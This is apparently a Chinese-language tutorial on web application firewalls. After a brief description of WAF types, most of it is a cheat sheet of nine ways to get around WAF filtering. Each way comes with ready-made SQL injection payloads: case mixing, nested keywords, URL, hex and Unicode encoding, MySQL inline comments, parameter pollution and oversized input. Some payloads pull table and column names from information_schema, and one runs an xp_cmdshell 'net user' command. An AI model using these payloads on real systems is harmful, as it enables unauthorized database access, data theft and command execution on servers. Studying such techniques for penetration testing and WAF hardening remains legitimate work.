web应用程序防火墙(或WAF)是一种过滤器、监视器,并从web应用程序阻塞HTTP流量。WAF与常规防火墙的区别在于,WAF能够过滤特定web应用程序的内容,而常规防火墙充当服务器之间的安全通道。通过检查HTTP流量,它可以防止来自web应用程序安全缺陷的攻击,例如SQL注入、跨站点脚本(XSS)、文件包含和安全性错误配置。
WAF种类
- 异常检测协议(Exception Detection Protocol):拒绝不符合HTTP标准的请求
- 增强输入验证(Enhanced input validation):加入代理和服务器端验证,而不仅仅是用户端验证
- 黑名单(Blacklist)/白名单(WhiteList)
- 基于规则和异常的保护机制(Rule-based and exception-based protection):更多通过规则结合基于黑名单的机制,基于异常的更加灵活
- 国家管理(State management):关注session保护,也包括Cookies技术保护,反入侵技术保护,响应监控和信息披露保护
WAF绕过方法
1.大小写混淆(Mixed Case)
将会触发WAF保护的恶意输入词修改进行大小写混淆,比如union可以变成uNIoN,如果WAF是基于黑名单的恶意词过滤,那这么做就可以绕过过滤。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2.替代关键字(Replace the keyword)
在目标关键词中插入将被WAF删除的特殊字符,比如SELECT可以变成SELselectECT,一旦会被删除的字符被删除,正常字符就会被传递,这样就能绕过过滤。
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3.编码(Encode)
+URL编码:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
+Hex编码:target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4
+Unicode编码:?id=10%D6‘%20AND%201=2%23
4.使用注释(Use comments)
在攻击字符串中插入注释。比如,/!SELECT/可能会被WAF忽略,但是会被传递到目标应用程序并由mysql数据库处理。
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4
5.等效函数和命令(Equivalent functions and commands)
一些函数或命令不能被使用,因为这些关键字被检测到,但在许多情况下,我们可以使用相同或类似的代码。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6.特殊符号(Special symbols)
这里我有一些特殊符号的非字母数字字符种类,特殊符号往往具有特殊的意义和用法。
· ' 符号: select 'version()';
· +- 符号: select+id-1+1.from users;
· @ 符号: select@^1.from users;
· mysql函数xxx
· `、~、!、@、%、()、[]、.、-、+ 、|、%00
例子:
'se'+'lec'+'t'
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')'or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.HTPP参数控制(HTTP parameter control)
提供多个相同名称的参数,以混淆WAF。比如http://example.com?id=1&?id = 1' or '1' = '1' --
在某些情况下,例如Apache / PHP应用程序只会解析的最后的id =…,而WAF只会解析第一个。它不是一个合法的请求,但应用程序仍然接收和处理恶意输入。大多数WAF的今天都不容易受到HTTP参数污染(HPP)的影响,但是在构建绕过语句时仍然值得一试。
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
8.缓冲区溢出(Buffer overflow)
WAF的应用程序和其他应用程序一样容易受到软件缺陷的影响。如果缓冲区溢出条件可能导致崩溃,即使它不会导致代码执行,这可能导致WAF失败。换句话说,也是一种绕过。
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9.集成(Integration)
集成意味着使用多种绕过技术,一种技术可能无法绕过过滤机制,但是使用多种技术的可能性会增加很多。
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--